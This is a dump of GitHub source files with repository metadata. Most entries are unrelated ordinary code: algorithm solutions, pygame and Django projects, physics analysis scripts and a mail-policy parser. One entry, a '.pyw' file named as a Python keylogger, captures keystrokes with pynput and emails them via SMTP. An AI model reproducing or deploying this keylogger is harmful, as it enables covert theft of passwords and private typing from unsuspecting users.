blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
281
content_id
stringlengths
40
40
detected_licenses
listlengths
0
57
license_type
stringclasses
2 values
repo_name
stringlengths
6
116
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
313 values
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
18.2k
668M
star_events_count
int64
0
102k
fork_events_count
int64
0
38.2k
gha_license_id
stringclasses
17 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
107 values
src_encoding
stringclasses
20 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
4
6.02M
extension
stringclasses
78 values
content
stringlengths
2
6.02M
authors
listlengths
1
1
author
stringlengths
0
175
306227841f80245f5047fbba2b62ba161beaf1f7
6514c510c314a3345295303f4cb2289b66dc597e
/Three_Sum.py
9914c98a6aa74d9e595c014aeacdecf9ec5d28c6
[]
no_license
liuqm2018/Data-structure-and-algorithm
219851bc545457b9d65ac8d12472b10637644dbf
c0eb3c446b9265a1d50e52919944b72692256f15
refs/heads/master
2022-12-09T10:51:09.468511
2020-09-01T02:17:37
2020-09-01T02:17:37
276,517,761
0
0
null
null
null
null
UTF-8
Python
false
false
941
py
class Solution(): def Three_Sum(self,nums): n = len(nums) if (not nums or n < 3): return [] nums.sort() res = [] for i in range(n): if nums[i] > 0 : return res if (i>0 and nums[i]==nums[i-1]): cont...
[ "noreply@github.com" ]
noreply@github.com
bb1f22ce8400a51121f13f2f316a4980e4e292d2
a690f025cf0e775c6fcd5f1fed4cf43c72941b16
/main.py
1e388697aa6524885a4b24448ca967756bd6d863
[]
no_license
VishamPathak/concatenation-input-type-cast
cdb04bb381017ee62602d96637a09d05c3889911
9f3cf1fc71c84d1f2c77650a1869d4eb4b899d0f
refs/heads/master
2023-02-17T00:57:42.596464
2021-01-15T00:20:17
2021-01-15T00:20:17
329,766,260
0
0
null
null
null
null
UTF-8
Python
false
false
642
py
print("Hello"+ " " + "World"+ " today"" is "+"Thursday") #this is concatenation print("This starts a new line") print() print("Tomorrow is Friday") #if adding strings is called "concatenation" #what is + for integers called? addition #5 + 4 = 9 print("5" + "4") #concatenation print(5 + 4) #addition firstName = "Vish...
[ "110142@eesd.org" ]
110142@eesd.org
ee28feb673f3427a13e2672a15ccea190aa77ad7
420df99ff70cbdd6eac69550d1cc27c5b56c82e7
/interaction_2sim_lg/N05_2SIM_1094_OCSim1_Sim2Mode_00_IMS.py
aaf431b6f122eadf177855a8018e17c688d54e2a
[]
no_license
JiaoHu0123/Python
9def966c7190aa2fa103774d040f054159ca4977
d65e1acb605f212b0f5cd1aef88d77388ffbd973
refs/heads/master
2020-06-22T21:57:04.341679
2017-06-13T15:07:57
2017-06-13T15:07:57
94,225,436
0
0
null
null
null
null
UTF-8
Python
false
false
7,243
py
#!/usr/bin/env python # -*- coding: utf-8 -*- ''' Created on 2016-8-25 @author: panpan.wei ScriptName:SLAB_N05_Interaction_2SIM_1094_OpenCloseSim1_Sim2ModeChange_00_IMS.py(IMS) Function: 1. Close Vice Sim2,Open Vice card SIM2,the main card data card still Sim1 2. Sim1 modechange,Set to default settings 3. loop step1-...
[ "张毅" ]
张毅
d4c5af2c37f2669d2f4c55e79ac64f1d74e26cbd
840bbdcbc8633b09953262a4bee638b9f1c24def
/Unit 3 Sprint 1 Instructions.py
1e6ebab7ee3f6bea7098c9b7651981c844d01747
[ "MIT" ]
permissive
ValerieLangat/DS-Unit-3-Sprint-1-Software-Engineering
0bde29cd39e6c7aa1f6b7562cf22e1904fc2fb30
2e0f3d41d58e5012329a438eef112d8d1f98d035
refs/heads/master
2020-06-17T08:38:16.681083
2019-07-15T02:25:39
2019-07-15T02:25:39
195,865,007
0
0
null
2019-07-08T18:21:26
2019-07-08T18:21:25
null
UTF-8
Python
false
false
11,128
py
# Data Science Unit 3 Sprint Challenge 1 ## Software Engineering - the Acme Way In this sprint challenge you will write code and answer questions related to object-oriented programming, code style/reviews, containers, and testing. You may use any tools and references you wish, but your final code should reflect...
[ "noreply@github.com" ]
noreply@github.com
295b9361ffd77b40023ebf9541906b70aa8a2786
cfc70540b1f0305a159df75983429d73ecc01535
/banned_users.py
8470ce1c8a9c01f52534bfdbee3a9a6c92919422
[]
no_license
LJZSR/python_work
a51a14000ef496c9ffa180b29e577f2d243819af
9b36f71fb3ff92af8e38e86e8a1f8aaae5a7a1fe
refs/heads/master
2020-04-08T22:04:31.058844
2018-12-15T09:37:30
2018-12-15T09:37:30
159,770,447
0
0
null
null
null
null
UTF-8
Python
false
false
155
py
banned_user = ['andrew', 'carolina', 'david'] user = 'marie' if user not in banned_user: print(user.title() + ', you can post a response if you wish.')
[ "jzs1996@sjtu.edu.cn" ]
jzs1996@sjtu.edu.cn
6f9911154177eaa30d01ec8ca1ffa5a01d3d3ad4
fa89502d32c5746555836bbf018292a6d69b7272
/UI/Show2DWindow.py
43cd11dfb0299b754f07d2530882b404ec15a098
[]
no_license
mag420/ArchToCE
7f7632ae184f151439e98780e2589541c8527706
9aff999f70645ea5c19e3821560e59f3d97d34fe
refs/heads/master
2021-03-12T05:13:43.764073
2020-03-16T11:30:39
2020-03-16T11:30:39
246,592,210
0
0
null
2020-03-11T14:23:18
2020-03-11T14:23:18
null
UTF-8
Python
false
false
4,549
py
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'Show2DWindowMod.ui' # # Created by: PyQt4 UI code generator 4.11.4 # # WARNING! All changes made in this file will be lost! from PyQt4 import QtCore, QtGui try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: def _fromUt...
[ "bourahla.yasser@gmail.com" ]
bourahla.yasser@gmail.com
0a3c3e004b4c9a3572278e882ef9351ba25c3947
7f36d8c9602e60cfaebecd6dabf0990a05d22d9c
/Teacher/wsgi.py
3b2b347f64820930a6769e9a8671494884571760
[]
no_license
Zobject/Teacher-in-Student
ca0e9bdc0e626512da82feabd6147352c96f858b
1f589539c4d1738b23f8e55dd27e62bd0275899b
refs/heads/master
2021-01-20T14:15:25.145483
2017-08-04T06:57:47
2017-08-04T06:57:47
90,575,511
2
0
null
null
null
null
UTF-8
Python
false
false
408
py
""" WSGI config for Teacher project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/1.10/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault...
[ "18920354189@163.com" ]
18920354189@163.com
bc84cec17b622273a208aaf0e2d3b9dfa807cb13
15df2e222af65e5b66183cf02e88e1a33a9cdde0
/demo01/demo01/urls.py
6e1e6756e59a59ce0436dee134f5b4770cda067f
[]
no_license
lukeddy/django_train
c45fbdbc24f446722a46e8801183a04e5f8b0bc2
5a333c767eeac53817f6deafbbba4b4fc2917c27
refs/heads/master
2021-05-28T07:09:22.458218
2014-10-12T15:07:19
2014-10-12T15:07:19
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,134
py
from django.conf.urls import patterns, include, url from django.contrib import admin urlpatterns = patterns('', # Examples: # url(r'^$', 'demo01.views.home', name='home'), # url(r'^blog/', include('blog.urls')), # url(r'^admin/', include(admin.site.urls)), url(r'^blog/index/$', 'blog.views.index')...
[ "tzq618766@gmail.com" ]
tzq618766@gmail.com
ab2d4fa2d240960dc8feb42e2b6cfb97950e633d
e53067b6c2240e325ae8f332e52a532eb9466ee3
/Other_Stats/concat.py
6f0a4764ddd8bc14dd1341730299d6dd662e1b06
[]
no_license
KayZhang34/NBA-Draft-Exploration
dafeb89a154ae80f90e482dd4fe15bd3da5e329a
44a46c96cc18901d717c5e497b7a8db754e7ce86
refs/heads/main
2023-03-03T07:01:42.669001
2021-02-18T00:53:29
2021-02-18T00:53:29
326,281,218
0
0
null
null
null
null
UTF-8
Python
false
false
487
py
import os import pandas as pd os.chdir(r'C:\Users\Kay\Desktop\Data Projects\DraftPick') excel_names = [] for i in range(1,11): excel_names.append("Modern_Draft_Position_" + str(i) + ".xlsx") excels = [pd.ExcelFile(name) for name in excel_names] frames = [x.parse(x.sheet_names[0], header=None,index_col=None)...
[ "47289165+KayZhang34@users.noreply.github.com" ]
47289165+KayZhang34@users.noreply.github.com
1552891fd5e41a6a25834128ebd14c2019432926
b46fe4bdfa289b521ed04761a525a8717fc58aa0
/src/mainpackage/EmailUtil.py
5df89339f80659103c8c08e5a28ee6919e4db4c3
[]
no_license
alagarp/python-diskchecker-unix
3452034aca1d0f45339c339e36505eb3ccd6e214
a9f2f5d741e55f26f20c09f246f6300e0a6f2a9c
refs/heads/master
2020-12-25T02:50:11.109348
2015-01-28T14:56:41
2015-01-28T14:56:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
873
py
''' Created on Sep 18, 2013 @author: panshul ''' import smtplib from email.mime.text import MIMEText username="username@domain.com" password="guessme" def prepareMessage(dsf,recipients,machine): message = format("Hello,\nFree disk space on %r is dangerously low. Please free some disk space urgently.\n The cur...
[ "panshul007@gmail.com" ]
panshul007@gmail.com
464dacbd4160b496abd2b05b0b7cff5ece2cfc0f
ce12cb8d9fb809d6d06cca035912bafebc3cd91f
/src/world.py
2fce2cf0eb13e298f1aca8dfcdacf21258b27d6c
[ "MIT" ]
permissive
dapaulid/life
287bd2476efccb585e8deee9671a2096a818007f
365e717f4080b1a1439767d5119dfca0a15d194b
refs/heads/master
2023-03-09T12:47:59.562809
2021-02-18T19:42:02
2021-02-18T19:42:02
297,053,973
0
0
null
null
null
null
UTF-8
Python
false
false
3,940
py
# -*- coding: utf-8 -*- #------------------------------------------------------------------------------- """ @license Copyright (c) Daniel Pauli <dapaulid@gmail.com> This source code is licensed under the MIT license found in the LICENSE file in the root directory of this source tree. """ #------------...
[ "dapaulid@gmail.com" ]
dapaulid@gmail.com
fb47a23ad30dfd0ef95a58c450969c5796386e1e
d83f50302702d6bf46c266b8117514c6d2e5d863
/wiggle-sort-ii.py
4e805ab4c2cb628a233a145c8732759446925784
[]
no_license
sfdye/leetcode
19764a6bdb82de114a2c82986864b1b2210c6d90
afc686acdda4168f4384e13fb730e17f4bdcd553
refs/heads/master
2020-03-20T07:58:52.128062
2019-05-05T08:10:41
2019-05-05T08:10:41
137,295,892
3
0
null
null
null
null
UTF-8
Python
false
false
285
py
class Solution: def wiggleSort(self, nums): """ :type nums: List[int] :rtype: void Do not return anything, modify nums in-place instead. """ for i, num in enumerate(sorted(nums)[::-1]): nums[(i * 2 + 1) % (len(nums) | 1)] = num
[ "tsfdye@gmail.com" ]
tsfdye@gmail.com
a3f237e9944a7da0d2641a690d8c8a7b759a9236
5d93d415c50b5e7084eed8ebb23781745d744524
/runStatisticsChecksUnblinded.py
17122e4df29ec94ea5e8873a882a8bff3126d236
[]
no_license
tanmaymudholkar/STEALTH
f32cae991ee6714e22b062c66fc0c6edc794b042
5bd797f4e432b0b3a08f157f4fe1c94391243af4
refs/heads/master
2023-07-19T08:18:20.475132
2023-07-08T04:07:13
2023-07-08T04:07:13
107,295,543
0
1
null
2017-10-17T16:28:32
2017-10-17T16:28:32
null
UTF-8
Python
false
false
5,866
py
#!/usr/bin/env python from __future__ import print_function, division import os, sys, argparse, subprocess, math import ROOT import stealthEnv, commonFunctions ROOT.gROOT.SetBatch(ROOT.kTRUE) ROOT.TH1.AddDirectory(ROOT.kFALSE) inputArgumentsParser = argparse.ArgumentParser(description='Plot impacts of each nuisance...
[ "tkmudholkar@gmail.com" ]
tkmudholkar@gmail.com
79752c6d98e09fffc733bd35034d18f7c28d8349
9251e4c4a2c683a3c09592fc51bb946fdd80f024
/UFCTrainingStats (1).py
73e50ad5171fc58029cf814471d64f938c551f22
[]
no_license
sparkey667/AnalyzingUFCStatsforUFC236
8bc6e87cd74433bb5a88a7fc35644f080423ddb5
4354028c23be90d94cdb722c459af20a6f9dcdc8
refs/heads/master
2020-05-07T20:29:59.269492
2019-04-18T15:24:32
2019-04-18T15:24:32
180,863,771
1
0
null
null
null
null
UTF-8
Python
false
false
55,223
py
#!/usr/bin/env python # coding: utf-8 # Name = "Dheric Seney" # # UFC Statistics for Training # # https://www.itbusiness.ca/news/former-ufc-fighter-says-data-analytics-should-be-used-in-mma/77375 # # Data Analytics is not used a lot in UFC. Most fighters are training for their strengths and not necessary to defea...
[ "noreply@github.com" ]
noreply@github.com
d51f21fe04ab46c872361e77f688ddde25e6690d
1ba68429cd4a1654a66dd7b0a7b8e91f81798073
/cart/admin.py
25928702bc82acc30d13248cd482e57f5dc03454
[]
no_license
crowdbotics-apps/test-002-31939
097234cc8a8870e39ece59640ad66a14c641b708
d669523f2ed3681d487d4a1a65645a642c6413c1
refs/heads/master
2023-08-29T21:34:54.106718
2021-11-12T17:25:07
2021-11-12T17:25:07
427,392,814
0
0
null
null
null
null
UTF-8
Python
false
false
159
py
from django.contrib import admin from .models import Content, Product admin.site.register(Product) admin.site.register(Content) # Register your models here.
[ "team@crowdbotics.com" ]
team@crowdbotics.com
07554bbecc8d641e211391fd30c019faa434d82f
64e2a21f9917e3c10116d4cc9981c14851fff779
/chapter_11_pygame_basic2/5.1.5 pygame13.py
38cbd210a9462b59bbff1b1c0c371bf05a2a0374
[]
no_license
Tanapoowapat/python_class_2021
d1824f894583f4da804fd24a798c6566706185bc
8f5329e990b45f8dbb772101ac91082542a4d2f2
refs/heads/master
2023-09-03T01:42:04.042721
2021-11-04T10:38:53
2021-11-04T10:38:53
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,209
py
# สร้างศัตรู import pygame # load image walkRight = [pygame.image.load('image/R1.png'), pygame.image.load('image/R2.png'), pygame.image.load('image/R3.png'), pygame.image.load('image/R4.png'), pygame.image.load('image/R5.png'), pygame.image.load('image/R6.png'), pygame.ima...
[ "noreply@github.com" ]
noreply@github.com
0ce9ad4435b871c6acb541ca7133671bebb572ad
085edd7c155d9589cb8826337eeec77e9c479de4
/tests/test_app/tests/custom_storage_class_tests.py
d01b0def08ec8a95898045df97ac31149c02d55c
[ "MIT", "Apache-2.0" ]
permissive
linnify/django-minio-storage
38733ba1952cea7bc13f6290b7e32359243d8460
7feec659056d29d241fc70845e1c0f459c7ec730
refs/heads/master
2022-12-29T02:27:23.750093
2020-10-12T15:56:51
2020-10-12T15:56:51
302,329,776
0
0
NOASSERTION
2020-10-12T15:56:52
2020-10-08T12:15:54
Python
UTF-8
Python
false
false
4,501
py
import io import os import shutil import tempfile from django.core.files.base import ContentFile from django.test import TestCase, override_settings from django.utils.deconstruct import deconstructible from minio_storage.files import ReadOnlyMinioObjectFile from minio_storage.storage import ( MinioStorage, cr...
[ "thomasf@jossystem.se" ]
thomasf@jossystem.se
84c5f3d320a54b13eb6d71849aec3df781eeb2e4
f4a7c278c7beb7b574e524fe0c84e3fa9712c61a
/project/urls.py
32e6df7f9d437c9b3c890068421a696a4fbff024
[]
no_license
kottenator/sample-django-project
2580b33fc622db1795589d3e7c392333f6a00229
87531b1f9dbd02542d03e4179b82a719b10b3fe7
refs/heads/master
2021-01-01T04:25:22.058568
2016-06-01T02:42:10
2016-06-01T02:42:10
59,070,746
1
1
null
2016-05-18T17:10:21
2016-05-18T01:12:22
JavaScript
UTF-8
Python
false
false
197
py
from django.conf.urls import url, include import project.base.urls import project.main.urls urlpatterns = [ url(r'', include(project.base.urls)), url(r'', include(project.main.urls)), ]
[ "kottenator@gmail.com" ]
kottenator@gmail.com
0f3d50f5b5f2ecc78827b40568849200168ca2ee
64efd3a252c09ac93467f8e1ca48cf0b08986294
/python/svn_nasty_merge/svn_nasty_merge.py
ef48321ff9cc2a81772a577f79e19482de0f1bc7
[]
no_license
raphaelchampeimont/almacha
a86ff10cf05d676a5c110fd21e35de1b4b9a838f
439684932b54bd9214e4119b4f77c035f24a7ad8
refs/heads/master
2021-05-31T08:00:30.750759
2016-05-03T15:58:55
2016-05-03T15:58:55
12,587,906
1
0
null
null
null
null
UTF-8
Python
false
false
432
py
#!/usr/bin/python # -*- coding: utf-8 -*- import sys import os fn = sys.argv[1] f = open(fn) kill = False newfiledata = ""; while 1: line = f.readline() if line == "": break if line.startswith("<<<<<<<"): pass elif line.startswith("======="): kill = True elif line.startswith(">>>>>>>"): kill = False ...
[ "almacha@almacha.org" ]
almacha@almacha.org
4ca726894e8a47f19d38fc009e00fb4aaa6896df
bf4be1f469b049dccf41807514a168400e48cdd1
/Related Topics/Bit Manipulation/201. Bitwise AND of Numbers Range.py
c38348cbfcb27e1311a88564532ee0347c21b603
[]
no_license
billgoo/LeetCode_Solution
8bde6844ecc44c61a914f9c88030d8d3e724c947
360d144cee86aae877b6187a07f1957e673c3592
refs/heads/master
2022-04-26T16:10:00.380910
2022-04-20T04:54:06
2022-04-20T04:54:06
155,243,219
0
0
null
null
null
null
UTF-8
Python
false
false
436
py
class Solution: def rangeBitwiseAnd(self, m: int, n: int) -> int: # bits shift """ e = 0 while m != n: m >>= 1 n >>= 1 e += 1 return m << e """ # Brian Kernighan's Algorithm # n & (n - 1) will remove the...
[ "billgoo0813@gmail.com" ]
billgoo0813@gmail.com
f4031c57f227ca1463ac3b60e3daa48a7ec245d7
45598fdebc665e80d6c8ec53e5208415b8f7dcb2
/coffee-filter.py
416c18100c994b56016bd77b8bede8a55b31223d
[ "Apache-2.0" ]
permissive
huginn-sim/coffee-filter2
3e9c449f34957c767b5b2e028f402de8d6b7ad70
ee1351695b7f6c60b7d09c51ff82af91ab9543f9
refs/heads/master
2020-05-28T13:28:56.235226
2014-02-16T02:29:57
2014-02-16T02:29:57
null
0
0
null
null
null
null
UTF-8
Python
false
false
8,458
py
# -*- coding: utf-8 -*- """ .. module:: coffee-filter :synopsis: Models the position, velocity, and acceleration of a falling coffee filter. .. moduleauthor:: Huginn """ #~ Modules from pylab import * import sys #/~ Modules #~ Custom Modules sys.path.append("C:\Users\Evin\Documents\Github") from viz.display.plot...
[ "evin.ozer@gmail.com" ]
evin.ozer@gmail.com
f8bb9eb246710b9e106b9b5b027bcb279219dca4
2f6e1387b29879e24ea18ca7a1c293ddaf90297d
/yuqingzhuizong.py
72dda4d33a4fee6cb0beb0d7943508ea2fd2e7d3
[]
no_license
Ashley1207/wuhu_system
c4e19e14b91678e8272376daa1d28d460d749047
e9fe85184c4a4ac6faa19a1db57b8b9a9e2ea9cc
refs/heads/master
2023-04-21T09:38:40.671417
2021-05-08T22:19:37
2021-05-08T22:19:37
null
0
0
null
null
null
null
UTF-8
Python
false
false
11,793
py
import threading import pymysql import json import pandas as pd from gensim import corpora, models import jieba class Picture: def __init__(self, keyword): self.conn = pymysql.connect(host="localhost", port=3306, user="root", password="123456", database="wuhu", charset...
[ "3401506758@qq.com" ]
3401506758@qq.com
fb386bc0046e6b348676175c3c9cad5f9f92f63e
662070fcb928aaee6404cce5d6b9f4560400f175
/classification_algorithm/src/continuous_transformer.py
8b26d4da2bb90063b6824c4ee7d58458a6f19987
[ "Apache-2.0" ]
permissive
PMantovani/road-irregularity-detector
134bcd45be625bc5cf4d564acdd1d695444f49c9
6df3bd517c403896f223b0e721eee25a610d9693
refs/heads/master
2021-08-17T11:55:13.309856
2018-10-31T01:35:42
2018-10-31T01:35:42
105,797,706
0
0
Apache-2.0
2018-10-25T00:38:33
2017-10-04T17:33:02
Python
UTF-8
Python
false
false
4,775
py
import numpy as np import math '''Transforms individual readings into continuous ones''' class ContinuousTransformer(object): def __init__(self): self.axis_independent = False self.quality = 0 self.summary_array = [] self.max_means = [0] * 7 self.max_variances = [0] * 7 ...
[ "pmantovani94@gmail.com" ]
pmantovani94@gmail.com
fdc19d0a4f81488f5c242f4dfcda161c70c25497
a8d3471d8d2fa914a0f8bab0495b115e70538430
/handler.py
86e8d3670ac9432144feb56e01bd3d420ea7f28b
[]
no_license
davidbegin/morguebot
a03bbfa46cbfd6b916ace98a2f476e44d4843349
f62d75917d13b4a443c0f3c8e00f7dd82720d9f3
refs/heads/master
2022-12-22T14:52:20.398139
2020-01-17T15:56:04
2020-01-17T15:56:04
213,519,437
8
0
null
2022-12-08T06:49:48
2019-10-08T01:16:15
Python
UTF-8
Python
false
false
529
py
import json import os from glm.generic_lambda_handler import lambda_handler as generic_lambda_handler from flask_app import app import xl_bot import dungeon_gossiper def async_handler(messages, context): print(messages) def lambda_handler(event, context): result = generic_lambda_handler( event=eve...
[ "davidmichaelbe@gmail.com" ]
davidmichaelbe@gmail.com
d8f581f9755f052824c1e8e44b7e583598774331
60d6313b82d507533f297fb6dfbd0b765467f143
/PyLogger- Python KeyLogger.pyw
e7cb564281ee27b7bf02dc103a98b3771dff5aad
[]
no_license
aravindmyd/PyLogger
c26937ef5c1977b9381b872db1e7fa1d47518328
973b6bdaa759352a9b66427202e426e542f2730e
refs/heads/master
2020-04-17T17:06:42.221833
2019-01-21T08:42:13
2019-01-21T08:42:13
166,769,909
0
1
null
null
null
null
UTF-8
Python
false
false
2,499
pyw
from pynput.keyboard import Listener import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart import datetime while True: try: lst = [] def email_it(): user_name = "" #Your Email address [ Sender E-mail] example@gmail.com ...
[ "noreply@github.com" ]
noreply@github.com
5bc5841704b7e76662407f28703031472021dcc5
c5b40793ae9ec944df54c2544dc4e2b4ecafa51d
/Data structure/Array/Program for Mean and median of an unsorted array using quickselect().py
8be31a6cfee382a0f7bceeddd31a9ecfa697d0ce
[]
no_license
AjaykumarGP/MyDataStructures_SolvedProblems
ed77cad83450805fa977947dd7a34600cd397e8c
ade6f8e8404946e02be087a7c44277559312babf
refs/heads/main
2023-05-04T21:16:42.068499
2021-05-29T13:53:10
2021-05-29T13:53:10
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,912
py
import random #Program for Mean and median of an unsorted array using quickselect() class MedianExtractor(): def __init__(self): self.array = [] def shufflePivotIndex(self, low, high): if low<high: pivot = random.randrange(low, high) self.array[pivot], self.arr...
[ "noreply@github.com" ]
noreply@github.com
b429309f8e623409f989dca83d4ff8711914cc70
1b1546cafc9453c4fdb9406533f94ed56206541c
/tests/tutorials/tour/test_decoupled.py
1ca8a8aa8e194c9366c33e5da2f143cb4331d61d
[ "MIT" ]
permissive
pauleveritt/wired
bad7ecadae4f23874598031ae8d17e08ba34ec9b
629f950176a9682a7ccb68efbb27cb2e23b4e93e
refs/heads/master
2020-05-01T06:38:38.728436
2019-04-29T12:43:43
2019-04-29T12:43:43
177,335,238
1
1
MIT
2019-04-23T00:14:34
2019-03-23T20:08:57
Python
UTF-8
Python
false
false
1,029
py
import pytest from wired import ServiceRegistry @pytest.fixture def settings(): from tutorials.tour.decoupled import Settings settings = Settings(punctuation='!!') return settings @pytest.fixture def registry(settings): from tutorials.tour.decoupled import setup r: ServiceRegistry = setup(set...
[ "pauleveritt@me.com" ]
pauleveritt@me.com
1fd85db41dcf8eddff27a33ee5938c6672851025
0b8c187f15d4aa440b70a68bd1d6dab233042b06
/setup.py
e1bbd20aacaa5072a127d0fe05e610444a1121fa
[]
no_license
ZithaChitra/seq2seq_lstms
0d5af8ef043920da403fe9df6ceebf99037d4203
33b49e73475dc98703029465ea7358187e9ac5c7
refs/heads/master
2023-04-22T21:01:34.952387
2021-05-12T08:33:23
2021-05-12T08:33:23
362,598,982
0
0
null
null
null
null
UTF-8
Python
false
false
578
py
from setuptools import setup, find_packages import pathlib from os import path __version__ = "0.1.0" cwd = pathlib.Path.cwd() # get dependencies and installs with open(path.join(cwd, "requirements.txt"), encoding="utf-8") as f: all_reqs = f.read().split("\n") install_requires = [x.strip() for x in all_reqs if "gi...
[ "" ]
2ee8380fc6a904aebb84b742cacca3669f9f7f0a
aea1d61c9a5d445f3a1c328a757dfa02d652f367
/dataset_04__eph_stim_vs_dist/fig9b/code/data/results/all_lfps.py
6880c9a242cd1df2c7015ad340675a073b8c6c85
[]
no_license
ModelDBRepository/263988
bb15ddf953a31ca44ac62ead919e3106389374f8
b1f4bd4931bb1ddcc323108c39e389b9fa4234a0
refs/heads/master
2022-11-21T22:38:24.738870
2020-07-30T00:38:17
2020-07-30T00:38:17
283,632,019
0
0
null
null
null
null
UTF-8
Python
false
false
6,650
py
""" Miguel Capllonch Juan 30 September 2018 Draw together all the LFPs computed with the different methods: - Results from the simulations (RN model) - Using the VC conductor theory """ import numpy as np import matplotlib.pyplot as plt import csv # Recording electrodes rec_els = { 'E': {'pos': (250, 0, 19000), ...
[ "tom.morse@yale.edu" ]
tom.morse@yale.edu
467a8932a4284ef0c6c865d87ef12e88ea571f4a
3e63608e1cad90bc845c4580723e57ae7ca3f61d
/tests/integration/cartography/intel/github/test_repos.py
e15966d14e0a223c390827fa7a4e0532c091831d
[ "Apache-2.0", "LicenseRef-scancode-generic-cla" ]
permissive
lyft/cartography
06dcbf13907cbb9a31b75cd8b21f5721f7cc1b01
830b8944879a01f52b21ee12b6fddf245f9733cb
refs/heads/master
2023-08-31T12:27:59.752452
2023-08-28T20:42:12
2023-08-28T20:42:12
172,811,550
2,778
334
Apache-2.0
2023-09-13T04:59:46
2019-02-27T00:16:29
Python
UTF-8
Python
false
false
8,701
py
import cartography.intel.github import tests.data.github.repos TEST_UPDATE_TAG = 123456789 TEST_JOB_PARAMS = {'UPDATE_TAG': TEST_UPDATE_TAG} TEST_GITHUB_URL = "https://fake.github.net/graphql/" def _ensure_local_neo4j_has_test_data(neo4j_session): repo_data = cartography.intel.github.repos.transform(tests.data....
[ "noreply@github.com" ]
noreply@github.com
90777540d8bdcd99e145848d0134ea810df99bc4
2ce3d3e4c8e1e92359d94e08c421e44b8ef60b3a
/speedlimit/main.py
98d3ae78c8ddfe16772d9454c51c1f02aaee36ec
[]
no_license
nhl4000/kattis
0a2417b178d4543807eedbcb75b15e91f92ab63b
4366682d82834b0330b38c403f5d27361840dfa9
refs/heads/master
2020-06-25T06:56:55.208802
2019-07-28T18:14:06
2019-07-28T18:14:06
199,238,212
0
0
null
null
null
null
UTF-8
Python
false
false
334
py
distances = [] while(True): distance = 0 previous_t = 0 i = int(raw_input()) if (i == -1): break for _ in range(i): [s, t] = list(map(int, raw_input().split())) distance += s * (t -previous_t) previous_t = t distances.append(str(distance)+" miles") print("\n".jo...
[ "marc.lozier@ryerson.ca" ]
marc.lozier@ryerson.ca
47f4bbebd0ad96c1d2466f55070f18551eea1fa2
394d06f0839808157165de790aaaec2ef6b017b5
/object-detection/demo_faster_rcnn.py
98491509205318eb9a08c0dfa827276f461a0715
[]
no_license
LXL1314/learn-gluoncv
9d937d749af18e0915f11489d702d8e4dbc02d4a
7bf8f2c0e638aae7b278744363f41a5cff7de5cc
refs/heads/master
2020-07-07T22:45:32.361276
2019-08-29T12:53:52
2019-08-29T12:53:52
203,496,740
1
0
null
null
null
null
UTF-8
Python
false
false
586
py
from gluoncv import utils, data, model_zoo from matplotlib import pyplot as plt net = model_zoo.faster_rcnn_resnet50_v1b_voc(pretrained=True) im_fname = utils.download('https://github.com/dmlc/web-data/blob/master/' + 'gluoncv/detection/biking.jpg?raw=true', path='.....
[ "2995545137@qq.com" ]
2995545137@qq.com
b9af3fae8856807e32bf2d31ce7e14ead62f9716
27010a7ad70bf69511858a91d42dc7a64e61b66d
/src/1763_longest_nice_substring.py
f1a96df1b1ba601c788359bfd79537a5f6d61f4a
[ "Apache-2.0" ]
permissive
hariharanragothaman/leetcode-solutions
fb7d967f2c6e3f4c936e3c7afe369415bc8d2dc6
44e759f80d3c9df382fdf8d694d6378881e3649d
refs/heads/master
2023-09-03T20:31:59.200701
2021-10-18T00:50:56
2021-10-18T00:50:56
267,927,538
1
1
null
null
null
null
UTF-8
Python
false
false
1,765
py
""" A string s is nice if, for every letter of the alphabet that s contains, it appears both in uppercase and lowercase. For example, "abABB" is nice because 'A' and 'a' appear, and 'B' and 'b' appear. However, "abA" is not because 'b' appears, but 'B' does not. Given a string s, return the longest substring of s that...
[ "hariharanragothaman@gmail.com" ]
hariharanragothaman@gmail.com
8a0ddb23a7769f47461a1435349c088c9d3eb109
7ac721ed23494b0916ddabba976211f9a54868d1
/SexaQAnalysis/TMVA/Step1/old/BDT_2016.py
3f9d75999f941188b02e60aa171a114d447d0292
[]
no_license
jarnedc/SexaquarkStandalone
d0198e5ef2cad4a0ce91ef62a2225626a1f16729
b59cd2ba9bcd01485864e310f9c22fc840b2dbc4
refs/heads/master
2020-07-06T09:46:14.087096
2019-12-13T10:23:35
2019-12-13T10:23:35
202,975,828
0
1
null
null
null
null
UTF-8
Python
false
false
6,442
py
import ROOT from ROOT import * # Select Theano as backend for Keras from os import environ version = "v_18_variables_AdaBoost_04092019_MCBkg_noInvMassCutInTreeProduction_NoInvMassCutInBDTScript" # Open file #SignFile = ROOT.TFile.Open("/pnfs/iihe/cms/store/user/jdeclerc/crmc_Sexaq/Analyzed_Skimmed/CRAB_AnalyzerAllSki...
[ "jarne.theo.de.clercq@cern.ch" ]
jarne.theo.de.clercq@cern.ch
01e4a166b1a96c6ed40e515a79db2f4f05132979
83957f263305c8021add5f05327381263cc6fdad
/mongrey/server/protocols.py
92242373a487ab32a09578418932680ea295c321
[ "BSD-3-Clause" ]
permissive
srault95/mongrey
d011727bb003ec02dd9797876a2cc055554d0ed9
63a94efd33db04e4b361dd259bfda3e520c305c8
refs/heads/master
2020-05-15T19:50:40.992062
2018-03-11T09:11:46
2018-03-11T09:11:46
35,269,256
0
0
null
2018-03-11T09:11:47
2015-05-08T08:58:12
CSS
UTF-8
Python
false
false
4,686
py
# -*- coding: utf-8 -*- import uuid import logging import re from .. import constants from ..exceptions import InvalidProtocolError line_regex = re.compile(r'^\s*([^=\s]+)\s*=(.*)$') logger = logging.getLogger(__name__) def parse_protocol_line(request): """ example: client_name=123, client_addre...
[ "stephane.rault@radicalspam.org" ]
stephane.rault@radicalspam.org
